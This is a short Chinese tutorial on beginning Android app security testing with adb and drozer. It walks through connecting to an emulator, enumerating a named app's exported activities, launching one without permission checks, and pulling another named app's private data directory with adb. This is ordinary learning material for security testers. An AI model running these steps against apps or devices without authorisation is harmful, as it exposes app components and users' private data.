app测试初窥

时间:2021-11-25 03:41:33

要用到的两个神器:abd&drozer

adb介绍

adb的全称为Android Debug Bridge,就是起到调试桥的作用,作为一名开发者倒是常用到这个工具.借助adb工具,我们可以管理设备或手机模拟器的状态。还可以进行很多手机操作,如安装软件、卸载软件、系统升级、运行shell命令等等。adb就是连接Android手机与PC端的桥梁,可以让用户在电脑上对手机进行全面的操作。

  drozer介绍

  Drozer是MWR Labs开发的一款Android安全测试框架。是目前最好的Android安全测试工具之一。

adb的连接:

C:\Users\def>adb connect 127.0.0.1:62001  #端口一般都是62001或者52001
already connected to 127.0.0.1:62001
C:\Users\def>adb shell
root@android:/ #

drozer的连接:

  在使用drozer连接之前需要使用adb将pc的tcp31415端口和模拟器进行转发:命令:adb forward tcp:31415 tcp:31415

D:\drozer>drozer console connect
Selecting 6a3a3c33280b7875 (OPPO R831T 4.4.) .. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector. drozer Console (v2.3.4)
dz>

复现activity案例:

  首先你要了解什么是activity:https://baike.baidu.com/item/activity/7304419?fr=aladdin

D:\drozer>drozer console connect #连接
Selecting 6a3a3c33280b7875 (OPPO R831T 4.4.) .. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.

dz> run app.package.attacksurface com.newland.mbop #运行 攻击面模块 要攻击的app

Attack Surface:
8 activities exported #存在八个activity可以调用,activity就是可以越。
2 broadcast receivers exported #存在2个broadcast receivers exported
1 content providers exported #存在1个content providers exported
2 services exported #存在2个services exported

dz> run app.activity.info -a com.newland.mbop
Package: com.newland.mbop
com.newland.mbop.activity.WelcomeActivity #这个是存在漏洞的一个activity,第一个是欢迎界面。
Permission: null
com.newland.mbop.activity.PrintActivity
Permission: null
com.newland.mbop.activity.BankCardReaderActivity
Permission: null
com.newland.mbop.activity.IdentifyCardReaderActivity
Permission: null
com.newland.mbop.activity.SimReaderActivity
Permission: null
com.newland.mbop.activity.ReadIDCardInfoActivity
Permission: null
com.newland.mbop.component.barcode.zxing.CaptureActivity
Permission: null
com.igexin.sdk.GActivity
Permission: null

dz> run app.activity.start --component com.newland.mbop com.newland.mbop.activity.SimReaderActivity #命令执行完即完成攻击

#app.activity.start是其攻击模块。

#--component指定包

#com.newland.mbop.activity.SimReaderActivity服务,使用app.activity.info的时候有显示出来。我选择了倒数第二个。

app测试初窥

将缓存文件导入到test目录

adb pull /data/data/com.fjmcc.wangyoubao ./